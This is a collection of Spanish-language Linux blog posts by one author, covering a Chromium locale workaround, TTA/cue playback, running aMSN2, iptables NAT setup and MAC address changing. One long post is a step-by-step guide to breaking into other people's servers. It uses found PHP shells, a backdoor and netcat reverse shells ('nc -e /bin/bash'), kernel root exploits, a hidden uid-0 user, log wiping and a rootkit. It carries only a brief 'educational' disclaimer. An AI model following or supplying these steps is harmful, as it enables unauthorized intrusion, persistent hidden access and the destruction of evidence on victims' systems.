El problema sucede a la hora de descargar cualquier archivo. En el tiempo restante en lugar de, por ejemplo, 5 minutos, muestra “NaN minutos”.

Este bug ya está reportado en el repositorio oficial de Chromium (http://code.google.com/p/chromium/issues/detail?id=60476), y según se puede leer en los comentarios de varios contribuyentes, el error parece suceder cuando se usan “locales” (léase en inglés) que utilizan la coma (en lugar del punto) como separador en los decimales.

Una “solución” temporal a este problema que dio uno de los usuarios constituye en cambiar la variable de entorno LC_NUMERIC (que especifica el formato de números no monetarios) para que en lugar de usar la correspondiente a la locale que tenemos establecida (por ejemplo, es_AR.UTF-8) use una que separe los números decimales con un punto.

Aclaración: Antes de seguir quisiera mencionar que existe una diferencia entre “Chromium” y “Google Chrome”: Chromium (Chromium Browser) es el proyecto open source de este navegador (generalmente es compilado y empaquetado por personas relacionadas al repositorio de tu distribución GNU/Linux)  y “Google Chrome” es la versión empaquetada por Google con unos ligeros cambios en su funcionamiento. Pueden ver aqui cuales son: http://code.google.com/p/chromium/wiki/ChromiumBrowserVsGoogleChrome. Es importante saber cual de los dos tenemos porque el primero se ejecuta con el comando “chromium” y el segundo con “google-chrome“.

Volviendo a donde estábamos, tenemos 3 formas distintas de hacer esto:

1_ Ejecutar en la terminal:

$ export LC_NUMERIC="POSIX"

y abrirlo desde ahí.

2 _ Editar como root el archivo /etc/defaults/locale y agregar al final:

LC_NUMERIC="POSIX"

Y relogueamos. Obviamente tenemos que asegurarnos que esa variable no existe en el archivo, en caso contrario la cambiamos para que quede de esa forma.

3_ Esta opción sería la que menos interfiere con el comportamiento normal del sistema: Cambiar el comando del lanzador de Chromium/Google Chrome agregandole LC_NUMERIC=”POSIX” al principio. O ejecutar directamente en la terminal:

$ LC_NUMERIC="POSIX" chromium

o si tenemos la versión de Google:

$ LC_NUMERIC="POSIX" google-chrome

Y eso es todo. No queda nada más para hacer que esperar a que solucionen este error. Espero sea pronto.

Saludos

Locale: En informática, un locale es un conjunto de parámetros que define el idioma, país y cualquier otra preferencia especial que el usuario desee ver en su interfaz de usuario. Generalmente un identificador de locale consiste como mínimo de un identificador de idioma y un identificador de región. (Extraído de Wikipedia).

Pero antes de seguir con la forma de usarlos pondré algo de información acerca de que son estos archivos:

Extraído de Wikipedia:

True Audio (abreviado TTA) es un códec de audio simple sin pérdidas en tiempo real gratis. Está basado en pronóstico de filtros adaptativos los cuales han mostrado resultados satisfactorios comparados con la mayoría de los análogos modernos. TTA ofrece niveles de compresión elevados, manteniendo la rapidez de operación.

El códec de audio TTA realiza una compresión multicanal de 8, 16 y 24 bits de datos de archivos de audio WAV. Según el tipo de música que comprimimos tendremos coeficientes de compresión alrededor del 30%-70%. Permite almacenar hasta 20 Cd’s de audio en un DVD-R (aprox. 4GB) manteniendo la calidad de audio original.

Una hoja cue, cue sheet o archivo.cue, es un archivo Unicode (archivo de texto) que especifica cómo se distribuyen las pistas de datos en un disco compacto. Las hojas cue comúnmente tienen la extensión “.cue”. Originalmente usados por el programa CDRWIN para hacer imágenes ISO, pero actualmente usados por muchos programas audiovisuales y de grabación de CDs como Nero.

Para un CD de audio, la hoja cue puede especificar títulos y autores para el disco, así como los nombres de cada una de las pistas, OGG, MP3, WAV, FLAC, etc, y archivos BIN son usados generalmente. Las hojas cue son especialmente usadas para grabar o escuchar discos donde todas las pistas son grabadas en un único archivo que contiene todo el audio y la hoja cue es la que especifica al reproductor cuándo termina una pista y comienza otra.

A la hora de elegir un programa adecuado se suelen generar ciertas confusiones porque es frecuente que cada uno ofrezca lo que el otro no tiene, y a este le falte algo del anterior.

En Windows tenemos el Aimp 2, un reproductor de música gratuito, muy moderno y funcional con soporte para la mayoría de códecs, una gran variedad de idiomas (incluyendo español) y skins. En este caso importa perfectamente la información de cada canción tan solo con abrir o añadir el archivo .tta, asegurándonos de que el .cue tiene el mismo nombre y se encuentra en la misma carpeta (algo así como abrir una película con subtítulos que están en otro archivo).

El asunto termina allí sin problemas.

Pero en GNU/Linux o BSD la cosa no es tan sencilla. O al menos así parece. Luego de intentar con varios programas encontré que la solución estaba mucho más a la vista de lo pensado.

Con Audacious, un reproductor de audio de software libre para sistemas POSIX, con una interfáz GTK y soporte para skins, extensiones y otros códecs. Por defecto soporta True Audio, pero para utilizar archivos .cue es preciso que libcue esté instalado. En ciertas distribuciones esta dependencia ya viene directamente con el programa (por ejemplo, Ubuntu), pero en otras (como Arch Linux), solo se incluye lo más esencial y tendremos que agregarla a mano.

Abrimos el Audacious, vamos a Archivo (File) —> Agregar archivos (Add Files) y agregamos el archivo .cue directamente como haríamos con cualquier otro formato común (también podemos arrastrar el icono del archivo directamente dentro de la lista de reproducción). En este caso solamente tenemos que asegurarnos de que ambos archivos se encuentren dentro del mismo directorio. Esto va a importar la información de cada pista a la lista de reproducción permitiéndonos reproducirlas sin problema alguno.

Aquí una prueba de que funciona y como se ve:

En fin, espero que hayan encontrado aquí la solución a este conocido problema.

Saludos.

Más información:

Wikipedia - AIMP

Wikipedia - Audacious Media Player

This work by Tobias Nahuel Paiva (Sarckz) is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.

aMSN es un cliente de mensajería instantánea que utiliza el protocolo MSN y está publicado bajo la licencia GPL. Su nombre proviene de Álvaro’s Messenger. Su principal objetivo es ayudar a que los nuevos usuarios de Linux puedan seguir en contacto con sus conocidos que usan Windows yMacintosh. Para lograr sus propósitos aMSN imita la apariencia y el uso de Windows Live Messenger y admite muchas de sus características.

aMSN 2 es una versión completamente reescrita de la rama actual del aMSN (0.x). Utiliza Python y tiene soporte para varias interfaces de usuario. El problema más grande de este proyecto es que está en desarrollo desde aproximadamente 3 o 4 años y hasta ahora no han especificado una fecha de lanzamiento (debido a que no pueden estimar una) ni sacado ninguna versión “beta” y mucho menos una “final”, lo que tiene impaciente a muchos, causando insultos y críticas negativas respecto al tema. Pero según se ve en su repositorio de github (https://github.com/amsn/amsn2) hay muchas personas involucradas en el proyecto que le están poniendo bastante dedicación. Hay que pensar también que este es un software completamente gratuito y los desarrolladores a veces solo pueden aportar durante su tiempo libre.

Afortunadamente, el repositorio está lo suficientemente desarrollado y organizado como para que simplemente podamos descargar los ficheros de este y probar el programa en su estado actual. Veremos que hay muchísimas características que aún no están implementadas pero al menos se pueden realizar las cosas más básicas.

Requisitos:

• Python 2
• python-pyopenssl
• python-crypto
• python-imaging
• git (para obtener los ficheros)

$ git clone https://github.com/amsn/amsn2.git

Se va a crear el directorio “amsn2″. Ingresamos en el y obtenemos los submódulos necesarios (por el momento solo es uno (papyon)):

$ cd amsn2
$ git submodule update --init

Ahora solo nos queda ejecutar el programa eligiendo una interfaz (con la opción -f) para la aplicación. Las que están disponibles son:

• web
• efl: Requisitos: Las librerías de EFL, python-efl, python-etk
• qt4: Requisitos: pyQT. Recomiendo usar esta porque es la que mejor se ve por el momento (hasta tiene una skin muy agradable)
• gtk: Requisitos: python-gtk. Bastante simple pero funcional. Obviamente se le aplica el estilo GTK que tengas establecido.
• curses: Para usarlo desde la terminal de comandos.

$ python2 amsn2.py -f qt4

Se abre la ventana principal donde podemos ingresar nuestro usuario y contraseña, y nos da la posibilidad de elegir nuestro estado inicial, si queremos recordar usuario y contraseña y/o iniciar sesión automáticamente cada vez que ejecutamos el programa.

Como es una versión en desarrollo y obviamente no está terminada lo más probable es que queramos mantenerla actualizada a los últimos cambios actualizando el código fuente que obtuvimos de git. Ingresamos al directorio “amsn2″ y escribimos:

$ git remote update
$ git reset --hard origin/master
$ git submodule update

El equipo de aMSN creó un script para las personas que no quieren estar obligadas a conocer git para obtener los ficheros del programa, ejecutarlo, modificarlo y enviar los cambios a github. (En inglés): http://www.amsn-project.net/forums/index.php?topic=8245.0.

Ahora solo resta esperar a una versión más “completa” y empaquetada para su instalación/uso.

Sin más que decir, saludos y no duden en hacer cualquier comentario que tengan al respecto.

This work by Tobias Nahuel Paiva (Sarckz) is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.

Pero alguien se propuso intentar contar dicha cantidad. Harald T. Alvestrand en su web http://counter.li.org/ nos permite registrarnos en lo que sería el “contador de usuarios de Linux”.

No sólo podemos agregarnos como usuarios de dicho sistema, sino que también podemos agregar los ordenadores en los cuales usamos Linux (dando información técnica y las cosas que realizamos con ellos).

Luego de una simple registración nos llega un e-mail con nuestros datos para poder loguearnos en la web.

Debemos por lo menos entrar a nuestra cuenta una vez al año, de lo contrario la misma será borrada.

Así que ahora soy el usuario número 460603 que se ha registrado:

Los invito a que hagan lo mismo, así algún día podremos tener una idea de lo grande que es esta comunidad =).

La mejor opción para estos casos es usar Iptables. ¿Por qué?. Iptables viene incluido en casi todas las distribuciones de GNU/Linux; es más seguro porque viene integrado al Kernel (no como los programas de firewall que escuchan en determinado puerto) y con un par de comandos puedes realizar fácilmente lo que te propongas hacer.

Iptables funciona de la siguiente forma:

iptables
-tabla
–comando cadena
—regla
—-objetivo

O sea, debemos llamar a iptables, especificar en que tabla se actuará (en cual se agregarán, eliminarán o modificarán datos), definir una acción a realizar, que reglas y condiciones le aplicamos a esa acción a realizar, y el objetivo (a que cosa/s va a afectar).

Bien, veamos como realizar dicha tarea con el típico ejemplo de red:

Tenemos varios ordenadores en nuestra red, cada cliente tiene por lo menos una interfáz de red y el server tiene dos o más (una para recibir la conexión de internet y la otra/s dependiendo de la cantidad de clientes que sea igual a las de los mismos).

En este ejemplo se tendrá un ordenador servidor con dos interfaces de red (eth0 y eth1).

Por eth0 recibe la conexión a internet y por eth1 se comunica con el ordenador cliente que hay en la red.

Pero antes de configurar a donde enviaremos los paquetes que lleguen de internet a los demás ordenadores (y viceversa), debemos activar el reenvío de los mismos, o sea, hacer un ipforwarding. Entonces en nuestro server, como root hacemos:

# echo 1 > /proc/sys/net/ipv4/ip_forward

Ahora debemos agregar los comandos a Iptables para que nos permita el recibir y enviar paquetes (desde y hacia internet) con los demás ordenadores.

# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

-t = Especifica la tabla de reglas, en este caso nat.

nat = (Network Address Translation). Es la tabla de manipulación de direcciones y puertos.

-A = Agrega un comando o una regla a la tabla.

POSTROUTING = Modifica el destino del paquete/s luego de que se decide si irá al ordenador local (server o el que tiene el firewall) o a otro ordenador de la red.

-o = Sirve para especificar la interface

eth0 = La interface de red a la que se sale a internet.

-j = Aplicar

MASQUERADE = Enmascarar. Significa que el router (en este caso nuestro ordenador hace de router con Iptables) reemplaza la información que viene de un paquete, o sea, le pone su propia IP y número de puerto y lo envía a su destino. Los paquetes de regreso llegan al router y este revisa a que ordenador van dirigidos (de los que estén especificados en el mismo router), les quita el enmascaramiento y los envía al host que envió la petición origen.

Todo bien con esto, pero así se enmascararían todos los paquetes que pasen por nuestra interface que conecta a internet. ¿Que pasa si queremos nada más enmascarar el rango de IPs de nuestra red? Con esto podríamos evitar que se use nuestra conexión externamente para enmascarar sus paquetes.

Si el rango de IPs de nuestra red es el típico 192.168.0.x hacemos:

iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24

Con eso especificamos que se enmascaren solamente los paquetes enviados por las IPs 192.168.0.0 hasta 192.168.0.255. El /24 sirve para especificar la máscara de red (que naturalmente debe ser 255.255.255.0). En caso de tener además de ese rango por ej, tienen el 192.168.1.x solo deben agregar la misma regla una vez más, pero cambiando el 192.168.0.0 por (obviamente) 192.168.1.0.

Para no tener que hacer esto cada vez que reiniciamos el ordenador, nos conviene guardar los comandos en algún script que se ejecute al iniciar (como /etc/rc.local). Simplemente ponemos un comando por línea y las órdenes se ejecutarán durante el booteo de tu GNU/Linux.

Si tienen dudas o quieren hacer alguna otra cosa pueden leer alguno de estos manuales

Linux data inf – Como configurar una red con un firewall.

Manual práctico de Iptables.

O pueden buscar otros de los varios que hay rondando por internet, o simplemente tecleando en su consola:

man iptables

Esta obra está licenciada bajo una
Licencia Creative Commons Atribución-No Comercial-Compartir Obras Derivadas Igual 3.0 Unported.

Los pasos que voy a describir en este tutorial son los siguientes:

1_ Conseguir una shell PHP decente.
2_ Conectar al ordenador víctima.
3_ Consiguiendo y utiilizando un rootexploit para la versión de Kernel del ordenador víctima.
4_ Agregar usuario root para poder conectar mediante SSH.
5_ Configurar SSHD en caso de ser necesario para poder conectar al ordenador víctima mediante SSH con nuestro usuario root.
6_ Activando o reiniciando SSHD en caso de ser necesario.
7_ Conectando mediante SSH con tu usuario root.
8_ Utilizando limpiadores de logs
9_ Rootkits (Opcional).
10_ Aclaraciones finales.

Empezemos…

1 Conseguir una shell PHP decente:

¿Que quiero decir con eso? Una shell PHP es un script donde pueden ejecutarse comandos de la misma forma que en una consola de texto (en este caso será una consola de texto de GNU/Linux). Los comandos disponibles son solamente los que el ordenador que tiene esa shell PHP permite. En pocas palabras, una shell PHP es una consola de texto más.
Para obtener una shell PHP podemos hacer dos cosas: O lograr subir una shell PHP al ordenador víctima aprovechando alguna vulnerabilidad, o buscar una que ya esté subida a otro ordenador víctima (esto es lo mejor si solo quieres practicar).
Antes de buscar una shell PHP, o usar una que ya tengamos, nesecitamos tener un punto en cuenta:
El ordenador víctima debe tener el Safe mode de PHP desactivado, o sea, OFF, si está ON no permite la ejecución de archivos ni la navegación por los directorios; así que si está en ON no nos servirá.
Podemos encontrar muchas shells PHP con safe mode OFF usando a nuestro amigo Google, de las dos siguientes formas:
“Safe mode: OFF”
“Safe mode: OFF (Not secure)” <— Esta es mejor
Lo mejor es incluir las comillas, así los resultados serán mucho más exactos.

Para fijarnos el sistema operativo que está corriendo ese ordenador podemos utilizar el comando:

uname

Si dice otra cosa que no sea “Linux”, entonces no sirve.

Una vez que hemos encontrado un ordenador con Linux podemos empezar a probar que comandos tenemos disponibles, así iremos viendo si vale la pena seguir adelante.

Con decente me refiero a que permita ejecutar binarios (ejecutables), se puedan subir archivos mediante el comando wget, o desde la misma shell; y permita que puedan conectarse al ordenador víctima de forma que obtengan su shell, o que permita que ese ordenador nos de su shell a través de una conexión inversa.

¿Como averiguamos esto? Con el siguiente paso:

2 Conectar al ordenador víctima:

Ya tenemos la shell PHP con Safe mode OFF, ahora lo que debemos hacer para poder utilizar un exploit y ganar acceso como root, es conectarnos al ordenador víctima.
¿Como hacemos eso? Hay dos formas:
La primera es utilizando un backdoor, que es una especie de troyano el cual se instala en X puerto y nosotros podemos acceder a el mediante netcat, u otro programa similar.
En este caso usaremos el troyano para linux más conocido y usado: r0nin
Al ejecutarse este backdoor se instala en el puerto 1666
Lo subimos mediante wget y la url del archivo, o con la misma shell (si es que da la opción).
Para ejecutarlo vamos al directorio donde está el r0nin y escribimos:
chmod +x r0nin
Con eso le damos permiso de ejecución. Y ahora:

./r0nin

./ significa que se ejecuta el archivo que está en ese mismo directorio.

Bien, ahora revisaremos si el ordenador permite que nos conectemos a el. En este caso usaremos el netcat para tratar de conectar al host. Escribimos en la consola:

nc ipdelhost 1666

Si aparece la shell de la víctima ya no nesecitas probar hacer una conexión inversa y puedes pasar al paso 3, pero si no funciona deberás probar el otro método.

El otro método es: Conexión inversa.

¿Como funciona esto? Dejas un puerto de tu ordenador a la escucha, eso quiere decir que aceptará cualquier conexión entrante en el puerto especificado. En este caso usaremos el puerto 31337, así podremos recibir la shell que enviaremos del ordenador víctima al nuestro.
Para dejar a la escucha el puerto 31337 escribimos:

nc -l -n -v -p 31337

Debería aparecer algo como esto:

listening on [any] 31337 …

Ahora que ya dejamos el puerto listo, debemos enviar la shell de la víctima a aquel. En la shell PHP del equipo víctima escribimos:

nc -e /bin/bash nuestraip 31337

Si no tiene el netcat, o el mismo ha sido deshabilitado, podemos subirle uno (aqui les dejo un link), darle permisos llendo al directorio donde se encuentra el mismo y haciendo chmod +x nc, y ejecutarlo de la misma forma que el paso anterior, pero antes especificar que se usará el nc que está en el directorio en donde estamos nosotros, o sea, usando ./

También puedes subir el lugar del netcat, un script en perl que realice una conexión inversa; en este ejemplo usaremos mi preferido (aqui tienen el link).
Para ejecutarlo luego de subirlo, ve al directorio donde se encuentra el mismo, dale permisos de ejecución con chmod +x pb.pl, y ejecútalo de la siguiente forma:

perl pb.pl tuip 31337

Ahora deberías tener la shell de tu víctima lista para usar. Si ninguno de los pasos anteriores sirve, lo mejor es que te des por vencido y busques otro ordenador con una shell PHP e intentes de nuevo los pasos anteriores, ya que aquel debe tener firewall y no permite conexiones entrantes ni salientes en puertos que no sean utilizados para tareas comunes y corrientes (ejemplo, puerto 80 para servidor web, 25 para correo, etc).

Ahora que ya tienes la shell de tu víctima, puedes ir al paso 3:

3 Consiguiendo y utiilizando un rootexploit para la versión de Kernel del ordenador víctima:

Ahora, para conseguir permisos de root en ese ordenador, debemos explotarlo utilizando un rootexploit.
En este caso probaremos algunos de los que tengo disponibles en mi web (aqui tienen el link).

Pero antes de probar cualquier exploit lo mejor es ver que versión de Kernel tiene la víctima, para eso escribimos en la shell de la misma:

uname -a

Da por resultado la siguiente información:
Linux (hostname del usuario) (versión del Kernel) #1 (fecha de creación de ese Kernel) (arquitectura del procesador)
Un ejemplo puede ser:

Linux localhost 2.4.20 #1 SMP Thu Mar 13 17:45:54 EST 2003 i686

Como vemos, lo mejor será utilzar algún exploit de esa rama de Kernel (2.4.x), así que subimos el exploit que queramos de ese directorio (sugiero empezar por el primero), le damos permisos de ejecución e intentamos ejecutarlo.
Cada vez que probemos el exploit y este termine de ejecutarse, escribiremos el comando id, y habremos conseguido permisos de root si nos sale algo como esto:

uid=0(root) gid=0(root) groups=0(root)

Si en lugar de eso sale el nombre de un usuario normal y el grupo de usuarios, quiere decir que el exploit no ha funcionado, así que debemos bajar otro e ir probando hasta lograrlo.

Una vez que hayas conseguido permisos de root, podrás seguir con el cuarto paso:

4 Agregar usuario root para poder conectar mediante SSH:

Ya tienes permisos de root, así que ahora podrás agregar un usuario, luego darle permisos de root a ese usuario así podrás conectarte a el mediante SSH (para más comodidad, y además por si llegan a borrar la shell php que te permitió entrar allí).

Si queremos que nuestro usuario se llame t00r, escribimos el siguiente comando:

useradd t00r -d /root -g 0 -p lapassquetuquieras -s /bin/bash

-d es para establecer el directorio de ese usuario, en este caso pusimos /root, que es un directorio ya existente, así nadie se da cuenta de que ha habido cambios en el ordenador.
-g es para establecer el número del grupo, en este caso es el 0, que pertenece al root.
-p es para establecer la password para ese usuario, la cual debe tener por lo menos 6 carácteres
-s es para establecer que tipo de shell usará ese usuario. La más común es bash, aunque puedes elegir la que tu quieras.

Una vez agregado el usuario, puedes proceder a darle permisos de root de la siguiente forma:
Editar el archivo passwd. Para eso deberás primero copiarlo a algún lugar que sea accesible desde la web (así podremos usar un script PHP que subamos para editarlo).
Suponiendo que el directorio en donde se ecuentra la shell PHP es: /home/usuario1/www, debemos poner:

cp /etc/passwd /home/usuario1/www/passwd

Ahora debemos darle a dicho archivo permiso de lectura y escritura por cualquier usuario (666). Nos situamos en el directorio en donde lo hemos copiado, y escribimos:

chmod 666 passwd

Ahora puedes subir algún script PHP que te permita modificar dicho archivo, o utilizar la misma shell PHP si lo permite (ya que la que más comunmente encontraremos es la que permite editar, descargar y eliminar archivos).
Si no tienes dicha shell, súbela al servidor (aqui dejo el link). Una vez subida cámbiale la extensión txt por php, situándote en el directorio donde esta se encuentra, y con el comando:

mv c99.txt c99.php

Ahora entra a la shell, busca el archivo y edítalo. Ahora debes buscar una línea como esta:

t00r:x:1003:0::/root:/bin/bash

El 1003 es el uid del usuario (id único) que se le asignó en ese momento (varía según cuantos usuarios haya en ese ordenador). O sea, si el último usuario agregado antes de t00r tiene el uid 501, t00r tendrá el 502.
El 0 como dijimos antes, es el número del grupo root.
Etc etc.
Ahora debemos cambiar ese 1003 por el uid de root (0), de forma que quedaría así:

t00r:x:0:0::/root:/bin/bash

Luego de editarlo dale los permisos que tenía antes (644, que es que pueda ser nada más editado y leido por el root, y por los demás solamente leído) de la siguiente forma:
Ve a la shell rooteada, luego al lugar donde has copiado el archivo passwd y escribe:

chmod 644 passwd

Ahora cópialo a su lugar original:

cp passwd /etc/passwd

Con esto ya estás listo para el siguiente paso:

5 Configurar SSHD en caso de ser necesario para poder conectar al ordenador víctima mediante SSH con nuestro usuario root.

Para mirar el puerto en el que SSHD está funcionando (o funcionará cuando lo activemos) revisaremos la configuración con el siguiente comando:

cat /etc/ssh/sshd_config | grep Port

Debería salirnos algo como:

Port 22
GatewayPorts no

Port es el puerto en donde SSHD funciona al iniciarlo. (Este puede variar según lo que haya elegido el que editó el archivo anteriormente). El que viene por defecto al instalar SSHD es el 22.
Si esa línea tiene antes de todo un #, significa que está comentada, y que será ignorada por el SSHD al iniciarse, y se tomará la orden por defecto, en este caso el puerto 22.
Para evitar que SSHD nos impida loguearnos con nuestro usuario root, lo mejor es que revisemos si permite logueos remotos con usuarios root. Esto lo hacemos de la siguiente forma:

cat /etc/ssh/sshd_config | grep PermitRootLogin

Debería aparecernos algo como:

PermitRootLogin yes

Si esa línea está comentada, el servidor toma como que están permitidos los logins remotos con usuarios root. Ejemplo:

#PermitRootLogin yes

O sino:

#PermitRootLogin no

De cualquier forma el servidor dejará hacer el login.
Si la línea está puesto en yes, o está comentada, podemos seguir con el paso número 6.
Si no dice yes y la línea no está comentada, significa que el login remoto con usuarios root está desactivado, así que debemos cambiarlo por yes.
Para eso repetimos el procedimiento del paso número 4 (cuando editamos el archivo passwd). Pero esta vez con el archivo /etc/ssh/sshd_config, buscamos la línea mencionada anteriormente (PermitRootLogin), la cambiamos por yes, y antes de copiarlo a su lugar de origen le damos los permisos 640.

Ahora puedes seguir con el siguiente paso:

6 Activando o reiniciando SSHD en caso de ser necesario:

Para poder conectar mediante SSH al ordenador víctima y usar tu usuario con permisos de root, primero nesecitarás ver si SSHD (Secure Shell Daemon) está activo.
Escribe:

ps ax | grep sshd

ps es para mostrar los procesos del sistema.
a es para mostrar todos los procesos.
x es para mostrar incluso los procesos que están corriendo mediante consola de texto.
| es una tubería que indica que la información dada será enviada a otro programa.
grep es un programa que filtra el texto de un archivo o comando, y muestra nada más la línea completa en donde está el texto que introducistes (en este caso sshd). Así mostrará nada más la información de SSHD.
Si SSHD está funcionando, debería aparecerte algo como esto:

8505 ? Ss 0:00 /usr/sbin/sshd

Si no aparece nada es porque no está funcionando.
Si habíamos cambiamos la configuración de SSHD (paso 5) y el mismo está activo, deberemos reiniciarlo para que se apliquen los cambios.
Obviamente para activar o reiniciar SSHD primero debemos localizarlo, esto lo hacemos con el comando:

locate sshd | grep /etc

Debería aparecer algo como esto:

/etc/ssh/sshd_config
/etc/init.d/sshd

O así:

/etc/ssh/sshd_config
/etc/rc.d/rc.sshd

(Obviamente la segunda opción de cada caso es SSHD).
Para reiniciar SSHD escribimos (suponiendo que es el primer caso o sea /etc/init.d/sshd):

/etc/init.d/sshd restart

O si SSHD no estaba iniciado lo activamos con el comando:

/etc/init.d/sshd start

Si todo sale bien ya estamos listos para el siguiente paso:

7 Conectando mediante SSH con tu usuario root:

Ahora, para conectarte hacerlo si tienes GNU/Linux o alguna variante de Unix escribe:
Si el puerto en la config de SSHD era 22, no hace falta que lo especifiquemos, así que deberíamos escribir:

ssh ipdelhost -l t00r

-l es para especificar el usuario con el que te quieres conectar (en este caso t00r).

Pero si era otro puerto, por ej, 516, debemos escribir:

ssh ipdelhost -p 516 -l t00r

-p obviamente, es para especificar el puerto.

Desde Windows puedes usar algún cliente de terminal (por ej PuTTY), al abrirlo colocamos la ip del host y el puerto y clickeamos en conectar.

Una vez que ya has conectado puedes ir el siguiente paso:

8 Utilizando limpiadores de logs:

Una vez que ya has hecho todo, lo que más conviene es usar un limpiador de logs. ¿Por qué?
La respuesta es esta: Muchas de tus acciones quedan guardadas en varios logs del sistema, por lo que es conveniente (para evitar que los administradores descubran tu ip o algún dato tuyo que pueda llevarlos a denunciarte), borrar dichos logs.
Para eso puedes usar cualquier delogger. En este caso usaremos este.
Simplemente súbelo, dale permisos con chmod +x y ejecútalo con ./deloger, estando en la shell de la víctima en modo root.

9 Rootkits (Opcional):

Advertencia: Algunos rootkits pueden hacer que no puedan verse ciertos archivos, ya que para eso están hechos (para ocultar archivos, usuarios y procesos). El rootkit que se ofrece a continuación no ha sido probado por mi, de forma que no puedo garantizar que funcione de la manera esperada. Úsalos bajo tu propia responsabilidad.

Como dice Wikipedia: “Un rootkit oculta inicios de sesión (logins), procesos, archivos y registros (logs). Puede incluir software para interceptar datos procedentes de terminales, conexiones de red e incluso el teclado (keylogger).”
Explicado de otra manera, un rootkit nos servirá para pasar inadvertidos ante los administradores del ordenador que hemos rooteado.
Aqui está el link del rootkit que usaremos en este caso. Primero lo descomprimimos con el siguiente comando:

tar xvf toolkit.tar.gz

Vamos a la carpeta del toolkit, damos permiso de ejecución a install con chmod +x install, y lo ejecutamos:

./install

Nada más.

10 Aclaraciones finales:

Este texto, ha sido publicado con fines educativos. ¿Con que objetivo? Simple. Mediante este artículo quiero demostrar la facilidad con la que hoy en día puede quebrantarse la seguridad de un servidor u ordenador común y corriente. Además quiero mostrar de que forma un atacante se va haciendo con el control del ordenador o servidor víctima, así los que lean este artículo podrán aprender a mejorar la seguridad de los mismos.

Dedicación:Yodebian
Andsux – Dark End Team
HeliosZ – Dark End Team
Caim – Dark End Team
Kania – Evilgirls

This work by Tobias Nahuel Paiva (Sarckz) is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.

Bueno, empecemos.

Supongamos que nuestra tarjeta de red es eth0.
Ahora abrimos una terminal y entramos en modo de superusuario. Si no estás logueado como root puedes entrar en modo de superusuario con el comando su y escribiendo la contraseña de root, o con el comando sudo (solo disponibles en ciertas distribuciones).
Ahora lo primero que haremos será mirar nuestra MAC adress actual.
Esto podrás hacerlo con el comando:
ifconfig

Buscamos eth0, y veremos algo como esto:

eth0 Link encap:Ethernet HWaddr 00:0D:87:E5:45:6E
inet addr:XXX.XXX.XXX.XXX Bcast:255.255.255.255 Mask:255.255.255.0

Etc etc.

XXX.XXX.XXX.XXX es tu IP actual.
La MAC address es la que está resaltada.
Ahora pondremos down esa tarjeta de red así podremos aplicarle los cambios.
Escribe:
ifconfig eth0 down
(Eso desconectará internet)
Ahora lo que debemos hacer es cambiar la MAC address de eth0 actual por una diferente. Podemos cambiarle el último caracter, o varios; de cualquier forma nos dará otra IP. En este caso cambiaremos el último. Eso lo hacemos con el siguiente comando:
ifconfig eth0 hw ether 00:0D:87:E5:45:6D

(Nótese que se cambió la última E por una D)
Hay que respetar una cosa: Donde hay números sólo podemos cambiarlo por números, y donde hay letras sólo podemos cambiarlo por otras letras. Las letras solamente pueden ser de la A a la F.

Ahora volvemos a poner up la tarjeta con el comando:
ifconfig eth0 up
Y finalmente reiniciamos la red, con el comando:
dhclient eth0

Y nuestro ISP automáticamente nos dará una IP diferente.

This work by Tobias Nahuel Paiva (Sarckz) is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.